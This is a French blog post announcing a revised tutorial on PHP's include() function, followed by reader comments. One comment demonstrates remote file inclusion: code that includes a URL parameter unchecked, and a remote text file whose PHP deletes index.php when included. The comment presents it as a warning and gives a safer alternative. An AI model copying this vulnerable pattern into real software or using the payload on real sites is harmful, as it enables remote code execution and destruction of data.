Refonte du tutoriel sur la fonction PHP include

Classé dans la catégorie des tutoriels les plus décriés (en compagnie de celui sur les menus déroulants), l'article sur les "pseudo-frames" en PHP vient d'être complètement remis à jour par Cygnus.

Les modérateurs du forum (n'est-ce pas, Florent ?) commençaient à se lasser des multiples messages tels que J'ai remplacé mes frames par des includes et du coup mon site explose parce que j'ai 15 doctype, html, head, body....

Du coup, la jeune et pimpante Cygnus a mis tout son coeur (enfin, je n'ai pas officiellement vérifié) à l'ouvrage et nous a concocté une refonte magistrale et intégrale du tutoriel, aujourd'hui bien plus clair et méticuleux que la version originale dont l'auteur avoue qu'il était loin d'être spécialiste en la matière. Ah ? Qui a deviné que c'était moi ? :)

Voici donc une nouvelle version de l'article Inclure un fichier dans un autre grâce à PHP, à présent séparé en trois parties distinctes : une explication de la fonction include(), une mise en pratique et une partie pour aller plus loin.

L'instruction include() n'aura maintenant plus aucun secret pour vous...

Grand merci à Cygnus... et tournée de Picon pour tout le monde !

Trackbacks

Aucun trackback pour le moment.

Les trackbacks pour ce billet sont fermés.

Evaluez ce billet

Commentaires

Le mercredi 2 mai 2007 à 15:49, par Florent V. :: site :: #

Une initiative salutaire ! :)

Le mercredi 2 mai 2007 à 16:04, par Victor BRITO :: site :: #

Sauf erreur de ma part, il me semble qu'un fichier autre que PHP appelé par la fonction include () est interprété comme si c'était un fichier PHP.

Je dis bien il me semble. ;)

Le mercredi 2 mai 2007 à 16:05, par dew :: site :: #

Dans l'extrême majorité des cas, non, car cela dépend de la configuration interne du serveur (Apache + PHP).

Le mercredi 2 mai 2007 à 16:18, par Sylvain :: site :: #

Dew: Pourtant, on voit des fichiers .inc, .tpl , inclus dans beaucoup de scripts... et ils agissent comme s'ils étaient en PHP;
Du moins il me semble.

Sinon, excellent article, très bonne qualité.

Le mercredi 2 mai 2007 à 16:28, par Julien :: site :: #

Merci Cygnus, et vivent les kiwis.

Le mercredi 2 mai 2007 à 16:56, par dew :: site :: #

Sylvan : oui mais c'est une grosse faille de sécurité ;) Ensuite, il ne faut pas oublier les tags appropriés. C'est pourquoi on inclut rarement du code PHP dans des fichiers ne portant pas cette extension (du moins dans mon univers, après à chacun ses pratiques).

Le mercredi 2 mai 2007 à 20:11, par QuentinC :: site :: #

Une jolie refonte tout en profondeur et en clareté, bravo.

Une remarque à propos du chapitre "Aller plus loin" : la démarche proposée ne montre pas comment faire pour obtenir un titre différent par page. Je trouve qu'il serait bien d'attirer l'attention sur ce problème et sa solution.

[quote ]
Sauf erreur de ma part, il me semble qu'un fichier autre que PHP appelé par la fonction include () est interprété comme si c'était un fichier PHP.
[/quote]
+1. C'est ce qui vaut la mauvaise réputation qu'entretient la fonction include avec la sécurité pour bon nombre de débutants.

Un exemple simple pour montrer que c'est bien le cas.
[b]Note 1 : ceci est l'exemple-type de ce qu'il ne faut SURTOUT pas faire[/b] :
Note 2 : J'ai volontairement viré un "t" pour les URL afin qu'ils ne soient pas transformés en hyperliens inutiles.

page htp://www.noobinclude.com/index.php
[code]
<?php include($_GET['page']); ?>
[/code]

page htp://www.monsite.com/mechant-hacker.txt
[code]
<?php unlink("index.php"); ?>
[/code]

Si maintenant on appelle htp://www.noobinclude.php?page=htp://www.monsite.com/mechant-hacker.txt ... vous avez deviné le résultat.

Pour inclure un fichier sans que php l'interprète, il faut utiliser la fonction readfile (cf. doc fr.php.net/manual/fr/func... ) ou un echo file_get_contents.

Le jeudi 3 mai 2007 à 00:13, par Nicofrand :: site :: #

C'est une bonne chose que cette refonte! on ne pouvait laisser passer de telles incompréhensions!

Le jeudi 3 mai 2007 à 00:36, par dew :: site :: #

Suis-je le seul à configurer les serveurs de façon paranoïaque ? ^^

Le jeudi 3 mai 2007 à 10:40, par Victor BRITO :: site :: #

Que tu sois le seul, je n'en sais rien ; mais, lorsqu'on ne peut maîtriser la configuration du serveur (cas d'un hébergement mutualisé), le risque de voir un fichier autre que PHP interprété comme si c'était du PHP n'est pas écarté. D'ailleurs, la démonstration de Quentin montre que la technique dite des "pseudo-frames" comporte une grosse faille de sécurité si on ne vérifie pas la valeur passée par l'URL.

Le jeudi 3 mai 2007 à 13:53, par Julien :: site :: #

> D'ailleurs, la démonstration de Quentin montre que la technique dite des "pseudo-frames" comporte une grosse faille de sécurité si on ne vérifie pas la valeur passée par l'URL.

Qu'est-ce que tu appelles "technique des pseudo-frames" exactement ?

Le jeudi 3 mai 2007 à 17:30, par Victor BRITO :: site :: #

Un URL vaut tout un discours : www.phpdebutant.org/artic...

Le mercredi 9 mai 2007 à 11:02, par Findel :: #

Si votre fichier à inclure ne contient que du HTML, le mieux à faire reste d'utiliser la fonction readfile() là au moins, aucun risque pour votre serveur.

Ajouter un commentaire

Les commentaires pour ce billet sont fermés.

  • CSS2
  • Memento XHTML
  • Le zen des CSS
  • CSS
  • Web accessible